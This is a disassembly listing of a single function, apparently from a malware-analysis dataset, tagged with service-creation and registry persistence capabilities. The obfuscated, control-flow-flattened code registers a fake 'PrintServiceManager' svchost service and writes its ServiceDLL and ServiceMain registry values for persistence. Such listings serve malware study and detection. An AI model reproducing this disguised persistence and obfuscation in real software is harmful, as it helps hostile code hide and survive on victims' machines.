Function at 0x1001aac5
Capabilities:
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Query service status
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x91c
mov ecx, 0x762eaa4e
cmp ecx, 0xfb702632
jg 0x1001ab41
cmp ecx, 0xb92f6aa9
jle 0x1001abd5
cmp ecx, 0xd11772bc
jle 0x1001acf9
cmp ecx, 0xeb0b6934
jle 0x1001af6c
cmp ecx, 0xf355de44
jg 0x1001b2fb
cmp ecx, 0xee1e20c6
jg 0x1001b9a2
cmp ecx, 0xeb0b6935
je 0x1001c350
cmp ecx, 0xec47d4ac
je 0x1001c3a9
cmp ecx, 0xece46ec3
jne 0x1001aad6
mov ecx, 0x2773c776
jmp 0x1001aad6
cmp ecx, 0x498ad3e6
jle 0x1001ac3a
cmp ecx, 0x621c33f8
jle 0x1001adb7
cmp ecx, 0x7298088d
jle 0x1001afb2
cmp ecx, 0x7714b348
jg 0x1001b38f
cmp ecx, 0x75b0fcaf
jg 0x1001b9f4
cmp ecx, 0x7298088e
je 0x1001d204
cmp ecx, 0x72ba0219
je 0x1001d28e
cmp ecx, 0x74f92000
jne 0x1001aad6
push 0x24
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.NTDLL.dll_RtlZeroMemory]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
mov dword [eax], 0
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0xa4], eax
xor eax, eax
inc eax
mov dword [ebp - 0x34], eax
mov ecx, 0x5e41bcd9
jmp 0x1001aad6
cmp ecx, 0x9f043a2d
jg 0x1001ae58
cmp ecx, 0x8fd6bd44
jle 0x1001b058
cmp ecx, 0x997e9d52
jle 0x1001b415
cmp ecx, 0x9cafa42f
jg 0x1001ba25
cmp ecx, 0x997e9d53
je 0x1001d2a4
cmp ecx, 0x998730f9
je 0x1001d2ae
cmp ecx, 0x9ae81f2e
jne 0x1001aad6
mov dword [ebp - 0x24], 0
mov ecx, 0xd922a195
jmp 0x1001aad6
cmp ecx, 0x273f44aa
jg 0x1001af0e
cmp ecx, 0xf61674e
jg 0x1001b0c6
cmp ecx, 0x2bac052
jle 0x1001b46b
cmp ecx, 0x45be952
jg 0x1001ba98
cmp ecx, 0x2bac053
je 0x1001c3b3
cmp ecx, 0x318fb32
je 0x1001c3bd
cmp ecx, 0x3f5b56a
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x9b81c977
and eax, 0x647e3688
or eax, edx
xor eax, 0x9b81c976
or eax, ecx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ah, dl
xor ah, al
test dl, dl
mov ecx, 0x31e11367
mov edx, 0xff4fbd25
cmovne ecx, edx
test al, al
cmove ecx, edx
test ah, ah
mov eax, 0x31e11367
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0xc99c1f45
jg 0x1001b142
cmp ecx, 0xc39e0928
jle 0x1001b4a0
cmp ecx, 0xc799b189
jg 0x1001bad2
cmp ecx, 0xc39e0929
je 0x1001c417
cmp ecx, 0xc5d4a237
je 0x1001c48d
cmp ecx, 0xc7169a29
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xd525262c
mov edx, eax
and edx, 0x2adad9d3
or edx, ecx
xor edx, 0x2adad9d2
and eax, 0xfffffffe
or eax, edx
xor eax, 0xc2d96c6a
xor eax, 0x3d269395
setne al
sete cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and cl, ah
and dl, al
or dl, cl
or ah, al
mov al, ah
xor al, dl
test ah, ah
mov ecx, 0x8d33ef37
mov edi, 0x9cafa430
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x8d33ef37
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0x555b9ef1
jg 0x1001b1c7
cmp ecx, 0x4c1a08be
jle 0x1001b540
cmp ecx, 0x4ff8d0fd
jg 0x1001bb0d
cmp ecx, 0x4c1a08bf
je 0x1001d2b8
cmp ecx, 0x4e1a1c36
je 0x1001d300
cmp ecx, 0x4f8c75f9
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
setne al
sete dl
cmp dword [0x10098e50], 0xa
setge cl
xor dl, cl
or al, cl
mov ah, dl
xor ah, al
test al, al
mov ecx, 0xcfdfe2d4
mov edi, 0xca2678ca
cmovne ecx, edi
test dl, dl
cmovne ecx, edi
test ah, ah
mov eax, 0xcfdfe2d4
cmovne ecx, eax
jmp 0x1001aad6
cmp ecx, 0xa8f51bec
jg 0x1001b231
cmp ecx, 0xa3e3dd6f
jle 0x1001b586
cmp ecx, 0xa5052d4b
jg 0x1001bb3b
cmp ecx, 0xa3e3dd70
je 0x1001d316
cmp ecx, 0xa41289b1
je 0x1001d320
cmp ecx, 0xa449e3fa
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xf5c91332
mov edx, eax
and edx, 0xa36eccd
or edx, ecx
xor edx, 0xa36eccc
and eax, 0xfffffffe
or eax, edx
xor eax, 0x9e70568
xor eax, 0xf618fa97
sete al
setne cl
cmp dword [0x10098e50], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, dl
xor al, ah
test dl, dl
mov ecx, 0xc5d4a237
mov edx, 0x59eb091e
cmovne ecx, edx
test ah, ah
mov edi, 0xc5d4a237
jmp 0x1001cec7
cmp ecx, 0x365d241c
jg 0x1001b294
cmp ecx, 0x2dbce472
jle 0x1001b679
cmp ecx, 0x33925585
jg 0x1001bbb3
cmp ecx, 0x2dbce473
je 0x1001c497
cmp ecx, 0x31e11367
je 0x1001c4c8
cmp ecx, 0x322bef1f
jne 0x1001aad6
cmp byte [ebp - 0x20], 0
mov ecx, 0x53f6a382
mov eax, 0x35e76121
cmovne ecx, eax
jmp 0x1001aad6
cmp ecx, 0xd922a194
jle 0x1001b6d5
cmp ecx, 0xe599896f
jg 0x1001bbf3
cmp ecx, 0xd922a195
je 0x1001c559
cmp ecx, 0xd9d79251
je 0x1001c5c3
cmp ecx, 0xdcf75303
jne 0x1001aad6
mov ecx, 0x65348891
jmp 0x1001aad6
cmp ecx, 0x674bb762
jle 0x1001b717
cmp ecx, 0x6e11c043
jg 0x1001bc21
cmp ecx, 0x674bb763
je 0x1001d348
cmp ecx, 0x68bbcc5f
je 0x1001d352
cmp ecx, 0x6d56c686
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x30919370
and eax, 0xcf6e6c8f
or eax, edx
xor eax, 0x30919371
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x10098e50], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0xf6de0d7d
mov edi, 0x772188de
cmovne edx, edi
test cl, cl
mov ecx, 0xf6de0d7d
jmp 0x1001d75b
cmp ecx, 0x8854bb8c
jle 0x1001b751
cmp ecx, 0x8d33ef36
jg 0x1001bc55
cmp ecx, 0x8854bb8d
je 0x1001d372
cmp ecx, 0x8978f6d0
je 0x1001d399
cmp ecx, 0x8bc15255
jne 0x1001aad6
push 4
push dword [ebp - 0x10]
call fcn.100142a9
add esp, 8
mov eax, dword [0x10098bac]
add eax, eax
add eax, 2
mov dword [ebp - 0x90], eax
mov eax, dword [0x10098ba8]
mov dword [ebp - 0x94], eax
mov ecx, 0x4900548e
jmp 0x1001aad6
cmp ecx, 0x1a8d9bf0
jle 0x1001b7e3
cmp ecx, 0x1d936bee
jg 0x1001bc83
cmp ecx, 0x1a8d9bf1
je 0x1001c5cd
cmp ecx, 0x1b8d1b4b
je 0x1001c5d7
cmp ecx, 0x1d4adfd2
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx - 1]
imul eax, ecx
and al, 1
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ecx, edx
xor cl, al
mov ebx, 0xcc1e36ca
mov ecx, 0xa1ad9661
cmovne ebx, ecx
test al, al
mov ecx, ebx
mov eax, 0xcc1e36ca
cmovne ecx, eax
jmp 0x1001c54f
cmp ecx, 0xcd5b8e5b
jle 0x1001b869
cmp ecx, 0xcfdfe2d3
jg 0x1001bd1d
cmp ecx, 0xcd5b8e5c
je 0x1001c5e7
cmp ecx, 0xcd840f47
je 0x1001c62d
cmp ecx, 0xcdd36cdd
jne 0x1001aad6
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
not ah
mov ecx, 0xa986546
mov edi, 0x668bac5f
cmovne ecx, edi
test ah, dl
mov edx, 0xa986546
cmove ecx, edx
cmovne ecx, edi
jmp 0x1001bba9
cmp ecx, 0x5c740aa3
jle 0x1001b8f4
cmp ecx, 0x5eeed174
jg 0x1001bd4b
cmp ecx, 0x5c740aa4
je 0x1001d3a3
cmp ecx, 0x5c83aa24
je 0x1001d3f5
cmp ecx, 0x5e41bcd9
jne 0x1001aad6
push dword [ebp - 0x28]
push 0x24
lea eax, [ebp - 0x104]
push eax
push 0
push dword [ebp - 0xa4]
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
mov ecx, 0xf4b96ec4
mov eax, 0x365d241d
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0xb3c8f6f2
jle 0x1001b92e
cmp ecx, 0xb7622746
jg 0x1001bd79
cmp ecx, 0xb3c8f6f3
je 0x1001d469
cmp ecx, 0xb49e9842
je 0x1001d47b
cmp ecx, 0xb6c33eeb
jne 0x1001aad6
mov dword [ebp - 0x10], 0
push 0xf01ff
push str.PrintServiceManager
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov dword [ebp - 0x78], eax
mov ecx, 0xb49e9842
jmp 0x1001aad6
cmp ecx, 0x3b30edfe
jle 0x1001b968
cmp ecx, 0x48167d96
jg 0x1001bddf
cmp ecx, 0x3b30edff
je 0x1001c63d
cmp ecx, 0x432fab75
je 0x1001c673
cmp ecx, 0x46a9bb22
jne 0x1001aad6
mov eax, dword [ebp - 0xa0]
add eax, eax
push eax
push dword [0x10098ba8]
push 2
push 0
push str.ServiceDLL
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0x273f44ab
jmp 0x1001aad6
cmp ecx, 0xf75f1be8
jg 0x1001be19
cmp ecx, 0xf355de45
je 0x1001c67d
cmp ecx, 0xf4b96ec4
je 0x1001c68d
cmp ecx, 0xf6de0d7d
jne 0x1001aad6
mov eax, dword [ebp - 0x4c]
cmp eax, 3
setl byte [ebp - 0x1c]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x84b643b3
and eax, 0x7b49bc4c
or eax, edx
xor eax, 0x7b49bc4d
xor ecx, eax
test ecx, eax
setne al
cmp dword [0x10098e50], 0xa
setge cl
mov edx, ecx
or dl, al
xor cl, al
mov eax, edx
xor al, cl
test cl, cl
mov ecx, 0x772188de
mov edi, 0xd1e4a8a6
cmovne ecx, edi
test dl, dl
mov edx, 0x772188de
jmp 0x1001d6ee
cmp ecx, 0x78f574f7
jg 0x1001bea6
cmp ecx, 0x7714b349
je 0x1001d495
cmp ecx, 0x772188de
je 0x1001d4ae
cmp ecx, 0x774b9a8b
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x14632c3b
mov edi, 0xb91073d1
cmovne eax, edi
test cl, cl
mov ecx, 0x14632c3b
jmp 0x1001d945
cmp ecx, 0x956fd461
jg 0x1001bf3d
cmp ecx, 0x8fd6bd45
je 0x1001d4bb
cmp ecx, 0x931494ae
je 0x1001d513
cmp ecx, 0x9336cb3f
jne 0x1001aad6
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0x10092ea4
push 1
push dword [ebp - 0x2c]
push dword [ebp - 0x14]
call fcn.10014932
add esp, 0xc
mov eax, dword [ebp - 0x2c]
mov ecx, 0xc39e0929
jmp 0x1001aad6
cmp ecx, 0xff4fbd24
jle 0x1001bf5f
cmp ecx, 0xff4fbd25
je 0x1001c6a0
cmp ecx, 0xff9af28a
je 0x1001c6ec
cmp ecx, 0x227f43f
je 0x1001ca7a
jmp 0x1001aad6
cmp ecx, 0xbe084508
jle 0x1001bfcd
cmp ecx, 0xbe084509
je 0x1001c6f9
cmp ecx, 0xc0239e03
je 0x1001c75c
cmp ecx, 0xc27c612e
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x777a5355
mov edx, eax
and edx, 0x8885acaa
or edx, ecx
xor edx, 0x8885acab
and eax, 0xfffffffe
or eax, edx
xor eax, 0xffffffff
sete cl
setne al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
xor ah, 1
or cl, dl
xor cl, 1
or cl, ah
xor ah, cl
test cl, cl
mov ecx, 0x318fb32
mov edx, 0x956fd462
cmovne ecx, edx
test al, al
cmovne ecx, edx
test ah, ah
mov eax, 0x318fb32
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0x4aa5f075
jle 0x1001c04d
cmp ecx, 0x4aa5f076
je 0x1001c7bf
cmp ecx, 0x4b0e5323
je 0x1001c812
cmp ecx, 0x4bd703b0
jne 0x1001aad6
push dword [ebp - 0xb0]
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, 0xc27c612e
jmp 0x1001aad6
cmp ecx, 0xa1ad9660
jle 0x1001c0b4
cmp ecx, 0xa1ad9661
je 0x1001c879
cmp ecx, 0xa24625e1
je 0x1001c886
cmp ecx, 0xa2c5bbe6
jne 0x1001aad6
push dword [ebp - 0x48]
push str.PrintServiceManagerGrp
push str.svchost
push str.__SYSTEMROOT___system32_s.exe__k___s___svcr___s_
lea edi, [ebp - 0x926]
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov dword [ebp - 0x38], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push edi
push eax
push 2
push 0x20
push 0xf01ff
push str.Print_Service_Manager
push str.PrintServiceManager
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_CreateServiceW]
mov edx, dword [0x10098e4c]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
not edx
mov edi, edx
and edi, 0x82856bec
and ecx, 0x7d7a9413
or ecx, edi
xor ecx, 0x82856bed
or ecx, edx
xor ecx, 0xffffffff
sete cl
setne dl
cmp dword [0x10098e50], 0xa
setge ch
setl dh
and ch, cl
mov bl, dh
xor bl, dl
and bl, dh
and dh, dl
or dh, ch
mov dl, dh
xor dl, bl
test dh, dh
mov ecx, 0xcc0af313
mov edi, 0xec47d4ac
cmovne ecx, edi
mov esi, eax
test bl, bl
mov eax, 0xcc0af313
cmove ecx, eax
test dl, dl
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x7c], esi
cmovne ecx, edi
jmp 0x1001aad6
cmp ecx, 0x2a77dd0d
jle 0x1001c0e5
cmp ecx, 0x2a77dd0e
je 0x1001c890
cmp ecx, 0x2c3b52ae
je 0x1001c89a
cmp ecx, 0x2cf25593
jne 0x1001aad6
mov edi, str.PrintServiceManager
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 7
push 0
push str.PrintServiceManagerGrp
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov ecx, 0xd36ce834
jmp 0x1001aad6
cmp ecx, 0xd28ab7c0
jle 0x1001c107
cmp ecx, 0xd28ab7c1
je 0x1001c909
cmp ecx, 0xd36ce834
je 0x1001c913
cmp ecx, 0xd7bae613
jne 0x1001aad6
mov eax, dword [0x10098b80]
mov dword [ebp - 0x44], eax
mov ecx, 0xbdc43b30
jmp 0x1001aad6
cmp ecx, 0x65348890
jle 0x1001c129
cmp ecx, 0x65348891
je 0x1001d569
cmp ecx, 0x6646058d
je 0x1001d573
cmp ecx, 0x668bac5f
jne 0x1001aad6
mov ecx, 0x76fa2c26
jmp 0x1001aad6
cmp ecx, 0x85d10fb8
jle 0x1001c14e
cmp ecx, 0x85d10fb9
je 0x1001c9a1
cmp ecx, 0x86f7ec7f
je 0x1001ca06
cmp ecx, 0x87b1a0dc
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
sete dl
setne ah
cmp dword [0x10098e50], 0xa
setge al
setl cl
and ah, cl
and al, dl
or al, ah
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
xor dl, al
mov edx, 0x7298088e
mov edi, 0x57e334cf
cmovne edx, edi
test cl, cl
mov ecx, 0x7298088e
jmp 0x1001d75b
cmp ecx, 0x1427ceec
jle 0x1001c1a7
cmp ecx, 0x1427ceed
je 0x1001ca73
cmp ecx, 0x14632c3b
je 0x1001ca84
cmp ecx, 0x1652a528
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
not eax
or eax, ecx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, edx
xor al, cl
mov eax, 0xa7336b61
mov edi, 0x54a89837
cmovne eax, edi
test cl, cl
mov ecx, 0xa7336b61
jmp 0x1001d945
cmp ecx, 0xca2678c9
jle 0x1001c21b
cmp ecx, 0xca2678ca
je 0x1001cb14
cmp ecx, 0xcc0af313
je 0x1001cb1e
cmp ecx, 0xcc1e36ca
jne 0x1001aad6
cmp dword [ebp - 0x54], 0
setne byte [ebp - 0x1e]
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
mov eax, 0x48167d97
mov edi, 0xa1ad9661
cmovne eax, edi
test cl, cl
mov ecx, 0x48167d97
jmp 0x1001d945
cmp ecx, 0x57e334ce
jle 0x1001c23d
cmp ecx, 0x57e334cf
je 0x1001cb75
cmp ecx, 0x59eb091e
je 0x1001cb9d
cmp ecx, 0x5a18bf64
jne 0x1001aad6
mov ecx, 0xea385520
jmp 0x1001aad6
cmp ecx, 0xaf527735
jle 0x1001c2a8
cmp ecx, 0xaf527736
je 0x1001cbef
cmp ecx, 0xaf7d1450
je 0x1001cc7a
cmp ecx, 0xb0b60687
jne 0x1001aad6
mov ecx, 0x72ba0219
jmp 0x1001aad6
cmp ecx, 0x382f7e68
jle 0x1001c2d6
cmp ecx, 0x382f7e69
je 0x1001cc84
cmp ecx, 0x399fb632
je 0x1001cc9a
cmp ecx, 0x3aa62798
jne 0x1001aad6
mov ecx, 0x6d56c686
jmp 0x1001aad6
cmp ecx, 0xee1e20c7
je 0x1001ccb0
cmp ecx, 0xef0edf6c
je 0x1001cd07
cmp ecx, 0xefc3ba72
jne 0x1001aad6
push str.Parameters
push str.PrintServiceManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
lea eax, [ebp - 0x30e]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x14
mov ecx, 0x3b30edff
jmp 0x1001aad6
cmp ecx, 0x75b0fcb0
je 0x1001d5d0
cmp ecx, 0x762eaa4e
je 0x1001d5e0
cmp ecx, 0x76fa2c26
jne 0x1001aad6
mov eax, dword [ebp - 0x28]
mov ecx, 0xf75f1be9
jmp 0x1001aad6
cmp ecx, 0x9cafa430
je 0x1001d60f
cmp ecx, 0x9e47e262
je 0x1001d619
cmp ecx, 0x9e8c83d5
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x10098e50], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ah, dl
xor ah, al
test dl, 1
mov ecx, 0xa449e3fa
mov edx, 0xd11772bd
cmovne ecx, edx
test al, al
cmove ecx, edx
test ah, 1
mov eax, 0xa449e3fa
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0x45be953
je 0x1001cd11
cmp ecx, 0xa986546
je 0x1001cd76
cmp ecx, 0xc494641
jne 0x1001aad6
mov eax, dword [0x10098bac]
inc eax
mov dword [ebp - 0xa0], eax
mov ecx, 0x46a9bb22
jmp 0x1001aad6
cmp ecx, 0xc799b18a
je 0x1001cd89
cmp ecx, 0xc7c50fae
je 0x1001cda2
cmp ecx, 0xc935cb8c
jne 0x1001aad6
push 2
push dword [ebp - 0x14]
call fcn.100142a9
add esp, 8
mov ecx, 0x498ad3e7
jmp 0x1001aad6
cmp ecx, 0x4ff8d0fe
je 0x1001d635
cmp ecx, 0x53f6a382
je 0x1001d6a0
cmp ecx, 0x54a89837
jne 0x1001aad6
mov ecx, 0x1652a528
jmp 0x1001aad6
cmp ecx, 0xa5052d4c
je 0x1001d6fb
cmp ecx, 0xa54e7ab4
je 0x1001d768
cmp ecx, 0xa7336b61
jne 0x1001aad6
mov ecx, dword [0x10098e4c]
lea eax, [ecx + 0x324d55a5]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x10098e50], 0xa
setge dl
setl ch
mov dh, ch
xor dh, al
and dh, ch
and dl, cl
and ch, al
or ch, dl
mov al, dh
xor al, ch
test ch, ch
mov ecx, 0x6646058d
mov edi, 0x5c83aa24
cmovne ecx, edi
test dh, dh
mov edx, 0x6646058d
cmove ecx, edx
test al, al
cmovne ecx, edi
jmp 0x1001aad6
cmp ecx, 0x33925586
je 0x1001ce16
cmp ecx, 0x35e76121
je 0x1001ce20
cmp ecx, 0x35f1891f
jne 0x1001aad6
lea eax, [ebp - 0x30e]
mov dword [ebp - 0x98], eax
mov ecx, 0xeb0b6935
xor eax, eax
inc eax
mov dword [ebp - 0x3c], eax
jmp 0x1001aad6
cmp ecx, 0xe5998970
je 0x1001ce35
cmp ecx, 0xea385520
je 0x1001ce3f
cmp ecx, 0xea9e36ae
jne 0x1001aad6
mov ecx, 0x8978f6d0
jmp 0x1001aad6
cmp ecx, 0x6e11c044
je 0x1001d7d2
cmp ecx, 0x712696b2
je 0x1001d835
cmp ecx, 0x716e9f7d
jne 0x1001aad6
mov ecx, 0x5a18bf64
mov eax, dword [ebp - 0x70]
mov dword [ebp - 0x18], eax
jmp 0x1001aad6
cmp ecx, 0x8d33ef37
je 0x1001d895
cmp ecx, 0x8d5927e3
je 0x1001d8f8
cmp ecx, 0x8f501b49
jne 0x1001aad6
mov ecx, 0x1d936bef
jmp 0x1001aad6
cmp ecx, 0x1d936bef
je 0x1001ce4f
cmp ecx, 0x1e411ebc
je 0x1001ce59
cmp ecx, 0x231dfd83
jne 0x1001aad6
push dword [0x10098b68]
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov edx, dword [0x10098e4c]
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x2a447b7d
and ecx, 0xd5bb8482
or ecx, ebx
xor ecx, 0xd5bb8483
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp dword [0x10098e50], 0xa
setl ch
setge dh
and cl, dh
or dh, dl
and ch, dl
or ch, cl
mov cl, dh
xor cl, ch
mov ebx, 0xa3e3dd70
mov edi, 0x399fb632
cmovne ebx, edi
test ch, ch
mov ecx, ebx
mov edi, 0xa3e3dd70
cmovne ecx, edi
mov dword [ebp - 0x48], eax
jmp 0x1001c997
cmp ecx, 0xcfdfe2d4
je 0x1001ce72
cmp ecx, 0xd016cf81
je 0x1001cecf
cmp ecx, 0xd08bab08
jne 0x1001aad6
mov ecx, 0xefc3ba72
jmp 0x1001aad6
cmp ecx, 0x5eeed175
je 0x1001d902
cmp ecx, 0x5fbe638e
je 0x1001d952
cmp ecx, 0x5ff2d673
jne 0x1001aad6
mov ecx, 0x5c83aa24
jmp 0x1001aad6
cmp ecx, 0xb7622747
je 0x1001d975
cmp ecx, 0xb7f93770
je 0x1001d98b
cmp ecx, 0xb91073d1
jne 0x1001aad6
push 4
push dword [ebp - 0x50]
call fcn.100142a9
add esp, 8
mov edi, 0x100931a2
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push 1
push 0
push str.ServiceMain
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x14632c3b
jmp 0x1001aad6
cmp ecx, 0x48167d97
je 0x1001cee5
cmp ecx, 0x4900548e
je 0x1001cefb
cmp ecx, 0x490bef22
jne 0x1001aad6
cmp byte [ebp - 0x1a], 0
mov ecx, 0xc27c612e
mov eax, 0x997e9d53
cmovne ecx, eax
jmp 0x1001aad6
cmp ecx, 0xf75f1be9
je 0x1001cf84
cmp ecx, 0xfa4e387e
je 0x1001cf97
cmp ecx, 0xfae1b211
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xfffffffe
and ecx, 1
or ecx, eax
mov eax, dword [0x10098ba8]
xor edx, ecx
test edx, ecx
sete cl
setne ch
cmp dword [0x10098e50], 0xa
setge dh
setl bl
mov dl, bl
xor dl, ch
and dl, bl
and dh, cl
and bl, ch
or bl, dh
mov ecx, edx
xor cl, bl
mov edi, 0xaf7d1450
mov esi, 0xa24625e1
cmovne edi, esi
test bl, bl
mov ecx, edi
cmovne ecx, esi
mov dword [ebp - 0x9c], eax
test dl, dl
cmove ecx, edi
jmp 0x1001aad6
cmp ecx, 0x78f574f8
je 0x1001d998
cmp ecx, 0x79b25488
je 0x1001da0c
cmp ecx, 0x7f14fe6d
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xee6e500b
mov edx, eax
and edx, 0x1191aff4
or edx, ecx
xor edx, 0x1191aff5
and eax, 0xfffffffe
or eax, edx
xor eax, 0x48311b0e
cmp eax, 0xb7cee4f1
sete al
cmp dword [0x10098e50], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x9e8c83d5
mov edi, 0xd11772bd
cmovne ecx, edi
test dl, dl
cmove ecx, edi
test al, al
mov eax, 0x9e8c83d5
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0x956fd462
je 0x1001da16
cmp ecx, 0x98925a25
jne 0x1001da20
mov ecx, 0xc799b18a
jmp 0x1001aad6
cmp ecx, 0xfb702633
je 0x1001cfd1
cmp ecx, 0xfc4d81fb
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea edx, [eax - 1]
imul edx, eax
test dl, 1
sete ah
cmp dword [0x10098e50], 0xa
setge al
setl cl
and dl, cl
and al, ah
or al, dl
mov edx, ecx
xor dl, ah
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, cl
mov ecx, 0xc7169a29
mov edi, 0x9cafa430
cmovne ecx, edi
test al, al
cmove ecx, edi
test dl, dl
mov eax, 0xc7169a29
cmove ecx, eax
jmp 0x1001aad6
cmp ecx, 0xb92f6aaa
je 0x1001cfdb
cmp ecx, 0xbdc43b30
jne 0x1001aad6
mov eax, dword [0x10098e4c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xb1c0b168
mov edx, eax
and edx, 0x4e3f4e97
or edx, ecx
xor edx, 0x4e3f4e96
and eax, 0xfffffffe
or eax, edx
cmp eax, 0xffffffff
sete al
cmp dword [0x10098e50], 0xa
setl dl
xor al, dl
mov ah, al
xor ah, 1
and dl, ah
xor ah, dl
test al, al
mov ecx, 0xff9af28a
mov edi, 0x931494ae
cmovne ecx, edi
test dl, dl
mov edx, 0xff9af28a
cmove ecx, edx
test ah, ah
cmove ecx, edi
jmp 0x1001aad6
cmp ecx, 0x498ad3e7
je 0x1001cfec
cmp ecx, 0x49a71854
jne 0x1001aad6
